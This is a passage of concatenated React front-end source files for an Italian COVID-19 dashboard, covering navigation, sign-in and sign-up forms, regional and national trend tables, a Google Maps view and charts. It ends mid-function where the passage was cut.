drawerWidth, flexShrink: 0, }, drawerPaper: { width: drawerWidth, }, drawerHeader: { display: "flex", alignItems: "center", padding: theme.spacing(0, 1), ...theme.mixins.toolbar, justifyContent: "flex-end", }, content: { flexGrow: 1, padding: theme.spacing(3), transition: theme.transitions.create("margin", { easing: theme.transitions.easing.sharp, duration: theme.transitions.duration.leavingScreen, }), marginLeft: -drawerWidth, }, contentShift: { transition: theme.transitions.create("margin", { easing: theme.transitions.easing.easeOut, duration: theme.transitions.duration.enteringScreen, }), marginLeft: 0, }, })); function ListItemLink(props) { return <ListItem button component="a" {...props} />; } function logOut() { // semplicemente elimino il token dal local storage del browser localStorage.removeItem("x-access-token"); } function App() { // stili const classes = useStyles(); const theme = useTheme(); const [open, setOpen] = React.useState(false); const handleDrawerOpen = () => { setOpen(true); }; const handleDrawerClose = () => { setOpen(false); }; return ( <Router> <div className={classes.root}> <CssBaseline /> <AppBar position="fixed" className={clsx(classes.appBar, { [classes.appBarShift]: open, })} > <Toolbar> <IconButton color="inherit" aria-label="open drawer" onClick={handleDrawerOpen} edge="start" className={clsx(classes.menuButton, open && classes.hide)} > <MenuIcon /> </IconButton> <Typography variant="h6" className={classes.title} noWrap> pdgt-covid </Typography> </Toolbar> </AppBar> <Drawer className={classes.drawer} variant="persistent" anchor="left" open={open} classes={{ paper: classes.drawerPaper, }} > <div className={classes.drawerHeader}> <IconButton onClick={handleDrawerClose}> {theme.direction === "ltr" ? ( <ChevronLeftIcon /> ) : ( <ChevronRightIcon /> )} </IconButton> </div> <Divider /> <List> <ListItemLink href="/"> <ListItemIcon> <DashboardIcon /> </ListItemIcon> <ListItemText primary="Homepage" /> </ListItemLink> <ListItemLink href="/trend/nazionale"> <ListItemIcon> <TrendingUpIcon /> </ListItemIcon> <ListItemText primary="Trend Nazionale" /> </ListItemLink> <ListItemLink href="/trend/regionale"> <ListItemIcon> <TimelineIcon /> </ListItemIcon> <ListItemText primary="Trend Regionale" /> </ListItemLink> {isAuthenticated() ? ( <ListItemLink href="/utenti"> <ListItemIcon> <SupervisedUserCircleIcon /> </ListItemIcon> <ListItemText primary="Utenti" /> </ListItemLink> ) : ( "" )} </List> <Divider /> {isAuthenticated() ? ( "" ) : ( <List> <ListItemLink href="/signin"> <ListItemIcon> <VpnKeyIcon /> </ListItemIcon> <ListItemText primary="Accedi" /> </ListItemLink> <ListItemLink href="/signup"> <ListItemIcon> <PersonAddIcon /> </ListItemIcon> <ListItemText primary="Registrati" /> </ListItemLink> </List> )} {isAuthenticated() ? ( <List> <ListItem> {localStorage.getItem("login-admin") === "true" ? ( <ListItemIcon> <VerifiedUserIcon /> </ListItemIcon> ) : ( <ListItemIcon> <AccountCircleIcon /> </ListItemIcon> )} <ListItemText primary={localStorage.getItem("login-username")} className='username-list-item' /> </ListItem> <ListItemLink href="/" onClick={logOut}> <ListItemIcon> <ExitToAppIcon /> </ListItemIcon> <ListItemText primary="Esci" /> </ListItemLink> </List> ) : ( "" )} </Drawer> <main className={clsx(classes.content, { [classes.contentShift]: open, })} > <div className={classes.drawerHeader} /> </main> </div> <Route exact path="/" component={Home} /> <Route exact path="/trend/nazionale" component={TrendNazionale} /> <Route exact path="/trend/regionale" component={TrendRegionale} /> <Route exact path="/utenti" component={Users} /> <Route exact path="/signin" component={Signin} /> <Route exact path="/signup" component={Signup} /> </Router> ); } export default App; <file_sep>/src/components/signup.js import React, { Component } from "react"; import { signup } from "../helper"; // GUI import Avatar from "@material-ui/core/Avatar"; import Button from "@material-ui/core/Button"; import CssBaseline from "@material-ui/core/CssBaseline"; import TextField from "@material-ui/core/TextField"; import LockOutlinedIcon from "@material-ui/icons/LockOutlined"; import Typography from "@material-ui/core/Typography"; import Container from "@material-ui/core/Container"; import Checkbox from "@material-ui/core/Checkbox"; import FormControlLabel from "@material-ui/core/FormControlLabel"; // css import "./login-signup.css"; class Signup extends Component { constructor() { super(); this.state = { username: "", password: "", is_admin: false }; this.handleInputChange = this.handleInputChange.bind(this); this.submitSignup = this.submitSignup.bind(this); } handleInputChange(event) { this.setState({ [event.target.name]: event.target.value }); console.log(this.state); } submitSignup(event) { event.preventDefault(); signup(this.state) .then((res) => { var messagge = res.message; alert(messagge + " Ora è possibile eseguire l'accesso!"); window.location = "/signin"; }) .catch((err) => { alert(err); }); } render() { return ( <Container component="main" maxWidth="xs"> <CssBaseline /> <div className="signup-div"> <Avatar> <LockOutlinedIcon /> </Avatar> <Typography component="h1" variant="h5"> Registrati su <b>pdgt-covid</b> </Typography> <form onSubmit={this.submitSignup}> <TextField variant="outlined" margin="normal" required fullWidth id="username" label="Username" name="username" autoComplete="username" autoFocus onChange={this.handleInputChange} /> <TextField variant="outlined" margin="normal" required fullWidth name="password" label="Password" type="password" id="password" autoComplete="current-password" onChange={this.handleInputChange} /> <FormControlLabel control={ <Checkbox onChange={this.handleInputChange} name="is_admin" //inputProps={{ 'aria-label': 'primary checkbox' }} /> } label="Cliccare per registrare utente come admin" /> <Button type="submit" fullWidth variant="contained" color="primary"> Registrati </Button> </form> </div> </Container> ); } } export default Signup; <file_sep>/src/components/signin.js import React, { Component } from "react"; import { signin } from "../helper"; // GUI import Avatar from "@material-ui/core/Avatar"; import Button from "@material-ui/core/Button"; import CssBaseline from "@material-ui/core/CssBaseline"; import TextField from "@material-ui/core/TextField"; import LockOutlinedIcon from "@material-ui/icons/LockOutlined"; import Typography from "@material-ui/core/Typography"; import Container from "@material-ui/core/Container"; // css import "./login-signup.css"; class Signin extends Component { constructor() { super(); this.state = { username: "", password: "" }; this.handleInputChange = this.handleInputChange.bind(this); this.submitLogin = this.submitLogin.bind(this); } handleInputChange(event) { this.setState({ [event.target.name]: event.target.value }); } submitLogin(event) { event.preventDefault(); signin(this.state) .then((res) => { (window.location = "/"); }) .catch((err) => { alert(err); }); } render() { return ( <Container component="main" maxWidth="xs"> <CssBaseline /> <div className="login-div"> <Avatar> <LockOutlinedIcon /> </Avatar> <Typography component="h1" variant="h5"> Accedi a <b>pdgt-covid</b> </Typography> <form onSubmit={this.submitLogin}> <TextField variant="outlined" margin="normal" required fullWidth id="username" label="Username" name="username" autoComplete="username" autoFocus onChange={this.handleInputChange} /> <TextField variant="outlined" margin="normal" required fullWidth name="password" label="<PASSWORD>" type="password" id="password" autoComplete="current-password" onChange={this.handleInputChange} /> <Button type="submit" fullWidth variant="contained" color="primary" > Accedi </Button> </form> </div> </Container> ); } } export default Signin; <file_sep>/src/components/trendRegionale.js import React, { useState, useEffect, forwardRef } from "react"; // helper.js import { isAuthenticated, api } from "../helper"; // GUI import MaterialTable from "material-table"; import AddBox from "@material-ui/icons/AddBox"; import ArrowDownward from "@material-ui/icons/ArrowDownward"; import Check from "@material-ui/icons/Check"; import ChevronLeft from "@material-ui/icons/ChevronLeft"; import ChevronRight from "@material-ui/icons/ChevronRight"; import Clear from "@material-ui/icons/Clear"; import DeleteOutline from "@material-ui/icons/DeleteOutline"; import Edit from "@material-ui/icons/Edit"; import FilterList from "@material-ui/icons/FilterList"; import FirstPage from "@material-ui/icons/FirstPage"; import LastPage from "@material-ui/icons/LastPage"; import Remove from "@material-ui/icons/Remove"; import SaveAlt from "@material-ui/icons/SaveAlt"; import Search from "@material-ui/icons/Search"; import ViewColumn from "@material-ui/icons/ViewColumn"; import LinearProgress from "@material-ui/core/LinearProgress"; import Box from "@material-ui/core/Box"; import Table from "@material-ui/core/Table"; import TableBody from "@material-ui/core/TableBody"; import TableCell from "@material-ui/core/TableCell"; import TableHead from "@material-ui/core/TableHead"; import TableRow from "@material-ui/core/TableRow"; import Typography from "@material-ui/core/Typography"; import Grid from "@material-ui/core/Grid"; import Card from "@material-ui/core/Card"; import CardContent from "@material-ui/core/CardContent"; import Paper from "@material-ui/core/Paper"; import Button from "@material-ui/core/Button"; import SearchIcon from "@material-ui/icons/Search"; import TableContainer from "@material-ui/core/TableContainer"; import Alert from "@material-ui/lab/Alert"; import InputLabel from "@material-ui/core/InputLabel"; import MenuItem from "@material-ui/core/MenuItem"; import FormControl from "@material-ui/core/FormControl"; import Select from "@material-ui/core/Select"; import List from '@material-ui/core/List'; import ListItem from '@material-ui/core/ListItem'; import ListItemText from '@material-ui/core/ListItemText'; import Divider from "@material-ui/core/Divider"; // date handler import DateFnsUtils from "@date-io/date-fns"; import { MuiPickersUtilsProvider, KeyboardDatePicker, } from "@material-ui/pickers"; import moment from "moment"; // google maps import Map from "./gmaps"; // css import "./trendRegionale.css"; // heroku requirements per leggere variabili d'ambiente require("dotenv").config(); // google maps api key const GOOGLEMAPS_API_KEY = process.env.REACT_APP_GOOGLE_MAPS_API_KEY; const GOOGLEMAPSAPIURL = "https://maps.googleapis.com/maps/api/js?key=" + GOOGLEMAPS_API_KEY + "&v=3.exp&libraries=geometry,drawing,places"; // material-table const tableIcons = { Add: forwardRef((props, ref) => <AddBox {...props} ref={ref} />), Check: forwardRef((props, ref) => <Check {...props} ref={ref} />), Clear: forwardRef((props, ref) => <Clear {...props} ref={ref} />), Delete: forwardRef((props, ref) => <DeleteOutline {...props} ref={ref} />), DetailPanel: forwardRef((props, ref) => ( <ChevronRight {...props} ref={ref} /> )), Edit: forwardRef((props, ref) => <Edit {...props} ref={ref} />), Export: forwardRef((props, ref) => <SaveAlt {...props} ref={ref} />), Filter: forwardRef((props, ref) => <FilterList {...props} ref={ref} />), FirstPage: forwardRef((props, ref) => <FirstPage {...props} ref={ref} />), LastPage: forwardRef((props, ref) => <LastPage {...props} ref={ref} />), NextPage: forwardRef((props, ref) => <ChevronRight {...props} ref={ref} />), PreviousPage: forwardRef((props, ref) => ( <ChevronLeft {...props} ref={ref} /> )), ResetSearch: forwardRef((props, ref) => <Clear {...props} ref={ref} />), Search: forwardRef((props, ref) => <Search {...props} ref={ref} />), SortArrow: forwardRef((props, ref) => <ArrowDownward {...props} ref={ref} />), ThirdStateCheck: forwardRef((props, ref) => <Remove {...props} ref={ref} />), ViewColumn: forwardRef((props, ref) => <ViewColumn {...props} ref={ref} />), }; function TrendRegionale() { //table data const [data, setData] = useState([]); const [dataloaded, setDadaLoaded] = useState(false); // table regioni const [reg1, setReg1] = useState([]); const [reg2, setReg2] = useState([]); const [reg3, setReg3] = useState([]); const [reg5, setReg5] = useState([]); const [reg6, setReg6] = useState([]); const [reg7, setReg7] = useState([]); const [reg8, setReg8] = useState([]); const [reg9, setReg9] = useState([]); const [reg10, setReg10] = useState([]); const [reg11, setReg11] = useState([]); const [reg12, setReg12] = useState([]); const [reg13, setReg13] = useState([]); const [reg14, setReg14] = useState([]); const [reg15, setReg15] = useState([]); const [reg16, setReg16] = useState([]); const [reg17, setReg17] = useState([]); const [reg18, setReg18] = useState([]); const [reg19, setReg19] = useState([]); const [reg20, setReg20] = useState([]); const [reg21, setReg21] = useState([]); var columns = [ { title: "Stato", field: "stato", hidden: true }, { title: "Codice Regione", field: "codice_regione", hidden: true }, { title: "Denominazione Regione", field: "denominazione_regione" }, { title: "Totale Casi", field: "totale_casi" }, { title: "Deceduti", field: "deceduti" }, { title: "D<NAME>", field: "dimessi_guariti" }, { title: "Tamponi", field: "tamponi" }, ]; function collapseTable(data) { var regid = data.codice_regione; var datatable = []; switch (regid) { case 1: datatable = reg1; break; case 2: datatable = reg2; break; case 3: datatable = reg3; break; case 5: datatable = reg5; break; case 6: datatable = reg6; break; case 7: datatable = reg7; break; case 8: datatable = reg8; break; case 9: datatable = reg9; break; case 10: datatable = reg10; break; case 11: datatable = reg11; break; case 12: datatable = reg12; break; case 13: datatable = reg13; break; case 14: datatable = reg14; break; case 15: datatable = reg15; break; case 16: datatable = reg16; break; case 17: datatable = reg17; break; case 18: datatable = reg18; break; case 19: datatable = reg19; break; case 20: datatable = reg20; break; case 21: datatable = reg21; break; default: break; } return ( <Box margin={1}> <Typography variant="h6" gutterBottom component="div">Storico</Typography> <Table size="small" aria-label="purchases"> <TableHead> <TableRow> <TableCell>Data</TableCell> <TableCell>Ricoverati Sintomatici</TableCell> <TableCell>Terapia Intensiva</TableCell> <TableCell>Totale Ospedalizzati</TableCell> <TableCell>isolamento Domiciliare</TableCell> <TableCell>Variazione Totale Positivi</TableCell> <TableCell>Nuovi Positivi</TableCell> <TableCell>Dimessi Guariti</TableCell> <TableCell>Deceduti</TableCell> <TableCell>Totale Casi</TableCell> <TableCell>Tamponi</TableCell> </TableRow> </TableHead> <TableBody> {datatable.map((datatableRow) => ( <TableRow key={datatableRow.data}> <TableCell component="th" scope="row"> {moment(datatableRow.data).format("YYYY-MM-DD")} </TableCell> <TableCell> {datatableRow.info[0].ricoverati_con_sintomi} </TableCell> <TableCell>{datatableRow.info[0].terapia_intensiva}</TableCell> <TableCell> {datatableRow.info[0].totale_ospedalizzati} </TableCell> <TableCell> {datatableRow.info[0].isolamento_domiciliare} </TableCell> <TableCell> {datatableRow.info[0].variazione_totale_positivi} </TableCell> <TableCell>{datatableRow.info[0].nuovi_positivi}</TableCell> <TableCell>{datatableRow.info[0].dimessi_guariti}</TableCell> <TableCell>{datatableRow.info[0].deceduti}</TableCell> <TableCell>{datatableRow.info[0].totale_casi}</TableCell> <TableCell>{datatableRow.info[0].tamponi}</TableCell> </TableRow> ))} </TableBody> </Table> </Box> ); } useEffect(() => { // GET /trend/regionale api .get("/trend/regionale", { responseType: "json", }) .then((res) => { // store dell'ultima rilevazione in modo da ottenere i dati complessivi più recenti var last = res.data.count - 1; setData(res.data.data[last].info); setDadaLoaded(true); }) .catch((error) => { console.log("Error"); }); // funzionalità attiva solamente se user autenticato if (isAuthenticated()) { // GET /trend/regionale/regione/:byregid api .get("/trend/regionale/regione/1") .then((res) => { setReg1(res.data.data); }) .catch((error) => { console.log("Error"); }); api .get("/trend/regionale/regione/2") .then((res) => { setReg2(res.data.data); }) .catch((error) => { console.log("Error"); }); api .get("/trend/regionale/regione/3") .then((res) => { setReg3(res.data.data); }) .catch((error) => { console.log("Error"); }); api .get("/trend/regionale/regione/5") .then((res) => { setReg5(res.data.data); }) .catch((error) => { console.log("Error"); }); api .get("/trend/regionale/regione/6") .then((res) => { setReg6(res.data.data); }) .catch((error) => { console.log("Error"); }); api .get("/trend/regionale/regione/7") .then((res) => { setReg7(res.data.data); }) .catch((error) => { console.log("Error"); }); api .get("/trend/regionale/regione/8") .then((res) => { setReg8(res.data.data); }) .catch((error) => { console.log("Error"); }); api .get("/trend/regionale/regione/9") .then((res) => { setReg9(res.data.data); }) .catch((error) => { console.log("Error"); }); api .get("/trend/regionale/regione/10") .then((res) => { setReg10(res.data.data); }) .catch((error) => { console.log("Error"); }); api .get("/trend/regionale/regione/11") .then((res) => { setReg11(res.data.data); }) .catch((error) => { console.log("Error"); }); api .get("/trend/regionale/regione/12") .then((res) => { setReg12(res.data.data); }) .catch((error) => { console.log("Error"); }); api .get("/trend/regionale/regione/13") .then((res) => { setReg13(res.data.data); }) .catch((error) => { console.log("Error"); }); api .get("/trend/regionale/regione/14") .then((res) => { setReg14(res.data.data); }) .catch((error) => { console.log("Error"); }); api .get("/trend/regionale/regione/15") .then((res) => { setReg15(res.data.data); }) .catch((error) => { console.log("Error"); }); api .get("/trend/regionale/regione/16") .then((res) => { setReg16(res.data.data); }) .catch((error) => { console.log("Error"); }); api .get("/trend/regionale/regione/17") .then((res) => { setReg17(res.data.data); }) .catch((error) => { console.log("Error"); }); api .get("/trend/regionale/regione/18") .then((res) => { setReg18(res.data.data); }) .catch((error) => { console.log("Error"); }); api .get("/trend/regionale/regione/19") .then((res) => { setReg19(res.data.data); }) .catch((error) => { console.log("Error"); }); api .get("/trend/regionale/regione/20") .then((res) => { setReg20(res.data.data); }) .catch((error) => { console.log("Error"); }); api .get("/trend/regionale/regione/21") .then((res) => { setReg21(res.data.data); }) .catch((error) => { console.log("Error"); }); } }, []); // ricerca trend regionale per data (in basso a sinistra) (default = 2020-02-24) const [selectedDatePick, setSelectedDatePick] = React.useState( new Date("2020-02-24") ); const handleDateChangePick = (datepick) => { setSelectedDatePick(datepick); }; // errori (ricerca trend regionale) const [recordByDateHit, setRecordByDateHit] = useState(false); const [recordByDate, setRecordByDate] = useState([]); // messaggio (ricerca trend regionale) const [iserror, setIserror] = useState(false); const [errorMessages, setErrorMessages] = useState([]); function searchTrendByDate() { // todo setIserror(false); // GET /trend/regionale/data/:bydate api .get( "/trend/regionale/data/" + moment(selectedDatePick).format("YYYY-MM-DD"), { responseType: "json", } ) .then((res) => { setRecordByDate(res.data.data[0].info); setRecordByDateHit(true); }) .catch((error) => { setErrorMessages([error.response.data.message]); setIserror(true); }); } // ricerca picco per regione const [regPeakID, setRegPeakID] = React.useState(""); const [recordPeakByReg, setRecordPeakByReg] = useState([]); const [recordPeakByRegHit, setrecordPeakByRegHit] = useState(false); const handleChangePeak = (event) => { setRegPeakID(event.target.value); }; function searchPeakByReg() { // todo setIserror(false); // GET /trend/regionale/picco/:byregid api .get("/trend/regionale/picco/" + regPeakID, { responseType: "json", }) .then((res) => { setRecordPeakByReg(res.data.data[0]); setrecordPeakByRegHit(true); }) .catch((error) => { setErrorMessages([error.response.data.message]); setIserror(true); }); } // # GOOGLE MAPS var dataMapsReal = []; var record = {}, newRecord = {}; // popolo nuova base dati per plot di google maps (cerchi con radius proporzionale al numero di casi totali) for (record in data) { newRecord = { regione: data[record].denominazione_regione, latitude: parseFloat(data[record].lat).toPrecision(4), longitude: parseFloat(data[record].long).toPrecision(4), circle: { radius: Math.sqrt(data[record].totale_casi) * 400, options: { strokeColor: "#ff0000", }, }, }; dataMapsReal.push(newRecord); } return ( <div className="TrendRegionale container"> {!dataloaded ? <LinearProgress /> : ""} {isAuthenticated() ? ( <MaterialTable title="COVID-19 Andamento Regionale" columns={columns} data={data} icons={tableIcons} detailPanel={(rowData) => collapseTable(rowData)} onRowClick={(event, rowData, togglePanel) => togglePanel()} /> ) : ( <MaterialTable title="COVID-19 Andamento Regionale" columns={columns} data={data} icons={tableIcons} /> )} <br></br> <Map center={{ lat: 42.77, lng: 13.12 }} zoom={6} places={dataMapsReal} googleMapURL={GOOGLEMAPSAPIURL} loadingElement={<div style={{ height: `100%` }} />} containerElement={<div style={{ height: `800px` }} />} mapElement={<div style={{ height: `100%` }} />} /> <br></br> <Grid container spacing={3}> <Grid item xs={6}> <Paper elevation={2}> <Card> <CardContent> {iserror && ( <Alert severity="error"> {errorMessages.map((msg, i) => { return <div key={i}>{msg}</div>; })} </Alert> )} <h2>Ricerca Trend Regionale</h2> <MuiPickersUtilsProvider utils={DateFnsUtils}> <KeyboardDatePicker disableToolbar variant="inline" format="yyyy-MM-dd" margin="normal" id="date-picker-inline" value={selectedDatePick} onChange={handleDateChangePick} KeyboardButtonProps={{ "aria-label": "change date", }} /> </MuiPickersUtilsProvider> <Button variant="contained" color="primary" startIcon={<SearchIcon />} onClick={() => { searchTrendByDate(); }} > Ricerca </Button> {recordByDateHit ? ( <TableContainer component={Paper}> <Table size="small" aria-label="a dense table"> <TableHead> <TableRow> <TableCell> <b>Regione</b> </TableCell> <TableCell> <b>Codice Regione</b> </TableCell> <TableCell align="right"> <b>Ricoverati Sintomatici</b> </TableCell> <TableCell align="right"> <b>Terapia Intensiva</b> </TableCell> <TableCell align="right"> <b>Totale Ospedalizzati</b> </TableCell> <TableCell align="right"> <b>Isolamento Domiciliare</b> </TableCell> <TableCell align="right"> <b>Totale Positivi</b> </TableCell> <TableCell align="right"> <b>Variazione Totale Positivi</b> </TableCell> <TableCell align="right"> <b>Nuovi Positivi</b> </TableCell> </TableRow> </TableHead> <TableBody> {recordByDate.map((record) => ( <TableRow key={record.codice_regione}> <TableCell component="th" scope="row"> {record.denominazione_regione} </TableCell> <TableCell>{record.codice_regione}</TableCell> <TableCell align="right"> {record.ricoverati_con_sintomi} </TableCell> <TableCell align="right"> {record.terapia_intensiva} </TableCell> <TableCell align="right"> {record.totale_ospedalizzati} </TableCell> <TableCell align="right"> {record.isolamento_domiciliare} </TableCell> <TableCell align="right"> {record.totale_positivi} </TableCell> <TableCell align="right"> {record.variazione_totale_positivi} </TableCell> <TableCell align="right"> {record.nuovi_positivi} </TableCell> </TableRow> ))} </TableBody> </Table> </TableContainer> ) : ( "" )} </CardContent> </Card> </Paper> </Grid> <Grid item xs={6}> <Paper elevation={2}> <Card> <CardContent> <h2>Ricerca Picco Regionale</h2> <div class="card-get-api"> <FormControl variant="filled"> <InputLabel id="demo-simple-select-filled-label"> Regione </InputLabel> <Select labelId="demo-simple-select-filled-label" id="demo-simple-select-filled" value={regPeakID} onChange={handleChangePeak} > <MenuItem value={1}>Piemonte</MenuItem> <MenuItem value={2}>Valle d'Aosta</MenuItem> <MenuItem value={3}>Lombardia</MenuItem> <MenuItem value={5}>Veneto</MenuItem> <MenuItem value={6}><NAME></MenuItem> <MenuItem value={7}>Liguria</MenuItem> <MenuItem value={8}>Emilia-Romagna</MenuItem> <MenuItem value={9}>Toscana</MenuItem> <MenuItem value={10}>Umbria</MenuItem> <MenuItem value={11}>Marche</MenuItem> <MenuItem value={12}>Lazio</MenuItem> <MenuItem value={13}>Abruzzo</MenuItem> <MenuItem value={14}>Molise</MenuItem> <MenuItem value={15}>Campania</MenuItem> <MenuItem value={16}>Puglia</MenuItem> <MenuItem value={17}>Basilicata</MenuItem> <MenuItem value={18}>Calabria</MenuItem> <MenuItem value={19}>Sicilia</MenuItem> <MenuItem value={20}>Sardegna</MenuItem> <MenuItem value={21}>P.A. Bolzano</MenuItem> <MenuItem value={22}>P.A. Trento</MenuItem> </Select> <Button variant="contained" color="primary" startIcon={<SearchIcon />} onClick={() => { searchPeakByReg(); }} > Ricerca </Button> </FormControl> </div> <Divider /><br /> {recordPeakByRegHit && <h3>{moment(recordPeakByReg.data).format("YYYY-MM-DD")}</h3> } {recordPeakByRegHit && ( <List> <ListItem><ListItemText primary="Ricoverati con sintomi" secondary={recordPeakByReg.info[0].ricoverati_con_sintomi}/></ListItem> <ListItem><ListItemText primary="Terapia intensiva" secondary={recordPeakByReg.info[0].terapia_intensiva}/></ListItem> <ListItem><ListItemText primary="Totale ospedalizzati" secondary={recordPeakByReg.info[0].totale_ospedalizzati}/></ListItem> <ListItem><ListItemText primary="Isolamento domiciliare:" secondary={recordPeakByReg.info[0].isolamento_domiciliare}/></ListItem> <ListItem><ListItemText primary="Totale positivi" secondary={recordPeakByReg.info[0].totale_positivi}/></ListItem> <ListItem><ListItemText primary="Variazione totale positivi" secondary={recordPeakByReg.info[0].variazione_totale_positivi}/></ListItem> <ListItem><ListItemText primary="Nuovi positivi" secondary={recordPeakByReg.info[0].nuovi_positivi}/></ListItem> <ListItem><ListItemText primary="Dimessi guariti" secondary={recordPeakByReg.info[0].dimessi_guariti}/></ListItem> <ListItem><ListItemText primary="Deceduti" secondary={recordPeakByReg.info[0].deceduti}/></ListItem> <ListItem><ListItemText primary="Totale casi" secondary={recordPeakByReg.info[0].totale_casi}/></ListItem> <ListItem><ListItemText primary="Tamponi" secondary={recordPeakByReg.info[0].tamponi}/></ListItem> </List> )} </CardContent> </Card> </Paper> </Grid> </Grid> </div> ); } export default TrendRegionale; <file_sep>/src/components/trendNazionale.js import React, { useState, useEffect, forwardRef } from "react"; // GUI import Grid from "@material-ui/core/Grid"; import { makeStyles } from "@material-ui/core/styles"; import MaterialTable from "material-table"; import AddBox from "@material-ui/icons/AddBox"; import ArrowDownward from "@material-ui/icons/ArrowDownward"; import Check from "@material-ui/icons/Check"; import ChevronLeft from "@material-ui/icons/ChevronLeft"; import ChevronRight from "@material-ui/icons/ChevronRight"; import Clear from "@material-ui/icons/Clear"; import DeleteOutline from "@material-ui/icons/DeleteOutline"; import Edit from "@material-ui/icons/Edit"; import FilterList from "@material-ui/icons/FilterList"; import FirstPage from "@material-ui/icons/FirstPage"; import LastPage from "@material-ui/icons/LastPage"; import Remove from "@material-ui/icons/Remove"; import SaveAlt from "@material-ui/icons/SaveAlt"; import Search from "@material-ui/icons/Search"; import ViewColumn from "@material-ui/icons/ViewColumn"; import Alert from "@material-ui/lab/Alert"; import Card from "@material-ui/core/Card"; import CardContent from "@material-ui/core/CardContent"; import Typography from "@material-ui/core/Typography"; import Button from "@material-ui/core/Button"; import SearchIcon from "@material-ui/icons/Search"; import Divider from "@material-ui/core/Divider"; import List from '@material-ui/core/List'; import ListItem from '@material-ui/core/ListItem'; import ListItemText from '@material-ui/core/ListItemText'; import LinearProgress from "@material-ui/core/LinearProgress"; // chart import Paper from "@material-ui/core/Paper"; import { Chart, ValueAxis, AreaSeries, Title, Legend, } from "@devexpress/dx-react-chart-material-ui"; import { ArgumentScale, Animation } from "@devexpress/dx-react-chart"; import { scalePoint } from "d3-scale"; import { withStyles } from "@material-ui/core/styles"; // date handler import DateFnsUtils from "@date-io/date-fns"; import { MuiPickersUtilsProvider, KeyboardDatePicker, } from "@material-ui/pickers"; import moment from "moment"; // css import "./trendNazionale.css"; // helper.js import { isAuthenticated, validateDate, api } from "../helper"; // chart const const chartRootStyles = { chart: { paddingRight: "20px", }, }; const legendStyles = { root: { display: "flex", margin: "auto", flexDirection: "row", }, }; const legendLabelStyles = (theme) => ({ label: { paddingTop: theme.spacing(1), }, }); const legendItemStyles = { item: { flexDirection: "column", }, }; const ChartRootBase = ({ classes, ...restProps }) => ( <Chart.Root {...restProps} className={classes.chart} /> ); const LegendRootBase = ({ classes, ...restProps }) => ( <Legend.Root {...restProps} className={classes.root} /> ); const LegendLabelBase = ({ classes, ...restProps }) => ( <Legend.Label {...restProps} className={classes.label} /> ); const LegendItemBase = ({ classes, ...restProps }) => ( <Legend.Item {...restProps} className={classes.item} /> ); const ChartRoot = withStyles(chartRootStyles, { name: "ChartRoot" })( ChartRootBase ); const LegendRoot = withStyles(legendStyles, { name: "LegendRoot" })( LegendRootBase ); const LegendLabel = withStyles(legendLabelStyles, { name: "LegendLabel" })( LegendLabelBase ); const LegendItem = withStyles(legendItemStyles, { name: "LegendItem" })( LegendItemBase ); // table const const tableIcons = { Add: forwardRef((props, ref) => <AddBox {...props} ref={ref} />), Check: forwardRef((props, ref) => <Check {...props} ref={ref} />), Clear: forwardRef((props, ref) => <Clear {...props} ref={ref} />), Delete: forwardRef((props, ref) => <DeleteOutline {...props} ref={ref} />), DetailPanel: forwardRef((props, ref) => ( <ChevronRight {...props} ref={ref} /> )), Edit: forwardRef((props, ref) => <Edit {...props} ref={ref} />), Export: forwardRef((props, ref) => <SaveAlt {...props} ref={ref} />), Filter: forwardRef((props, ref) => <FilterList {...props} ref={ref} />), FirstPage: forwardRef((props, ref) => <FirstPage {...props} ref={ref} />), LastPage: forwardRef((props, ref) => <LastPage {...props} ref={ref} />), NextPage: forwardRef((props, ref) => <ChevronRight {...props} ref={ref} />), PreviousPage: forwardRef((props, ref) => ( <ChevronLeft {...props} ref={ref} /> )), ResetSearch: forwardRef((props, ref) => <Clear {...props} ref={ref} />), Search: forwardRef((props, ref) => <Search {...props} ref={ref} />), SortArrow: forwardRef((props, ref) => <ArrowDownward {...props} ref={ref} />), ThirdStateCheck: forwardRef((props, ref) => <Remove {...props} ref={ref} />), ViewColumn: forwardRef((props, ref) => <ViewColumn {...props} ref={ref} />), }; const useStyles = makeStyles((theme) => ({ root: { flexGrow: 1, }, paper: { padding: theme.spacing(2), textAlign: "center", color: theme.palette.text.secondary, }, title: { fontSize: 14, }, pos: { marginBottom: 12, }, })); function TrendNazionale() { //table auth const [auth, setAuth] = useState([]); //table data const [data, setData] = useState([]); const [datanazloaded, setDadaNazLoaded] = useState(false); //picco const [picco, setPicco] = useState([]); //gestione errori const [iserror, setIserror] = useState(false); const [errorMessages, setErrorMessages] = useState([]); //gestione messaggi const [issuccess, setIssuccess] = useState(false); const [successMessages, setSuccessMessages] = useState([]); // colonne tabelle popolate da dati API var columns = [ { title: "Data", field: "data", editable: "onAdd", initialEditValue: '2020-02-23' }, { title: "Stato", field: "stato", hidden: true }, { title: "Ricoverati sintomatici", field: "ricoverati_con_sintomi", type: "numeric", }, { title: "Terapia Intensiva", field: "terapia_intensiva", type: "numeric" }, { title: "Totale Ospedalizzati", field: "totale_ospedalizzati", type: "numeric", }, { title: "Isolamento Domiciliare", field: "isolamento_domiciliare", type: "numeric", }, { title: "Totale Positivi", field: "totale_positivi", type: "numeric" }, { title: "Variazione Totale Positivi", field: "variazione_totale_positivi", type: "numeric", }, { title: "Nuovi Positivi", field: "nuovi_positivi", type: "numeric" }, { title: "Dime<NAME>", field: "dimessi_guariti", type: "numeric" }, { title: "Deceduti", field: "deceduti", type: "numeric" }, { title: "Totale Casi", field: "totale_casi", type: "numeric" }, { title: "Tamponi", field: "tamponi", type: "numeric" }, { title: "Casi Testati", field: "casi_testati.Int64", type: "numeric" }, ]; useEffect(() => { // controllo se l'utente è loggato if (isAuthenticated()) setAuth(true); else { setAuth(false); } // GET /trend/nazionale api .get("/trend/nazionale", { responseType: "json", }) .then((res) => { setData(res.data.data); }) .catch((error) => { console.log("Error"); }); // GET /trend/nazionale/picco api .get("/trend/nazionale/picco", { responseType: "json", }) .then((res) => { setPicco(res.data.data); // termino progress setDadaNazLoaded(true); }) .catch((error) => { console.log("Error"); }); }, []); // data per grafico const datagraph = []; data.map(function (record) { datagraph.push({ data: record.data, nuovi_positivi: record.nuovi_positivi, terapia_intensiva: record.terapia_intensiva, }); return null; }); const handleRowUpdate = (newData, oldData, resolve) => { //validation let errorList = []; if (newData.ricoverati_con_sintomi === "") { errorList.push("Per favore compilare ricoverati_con_sintomi"); } if (newData.terapia_intensiva === "") { errorList.push("Per favore compilare terapia_intensiva"); } if (newData.totale_ospedalizzati === "") { errorList.push("Per favore compilare totale_ospedalizzati"); } if (newData.isolamento_domiciliare === "") { errorList.push("Per favore compilare isolamento_domiciliare"); } if (newData.totale_positivi === "") { errorList.push("Per favore compilare 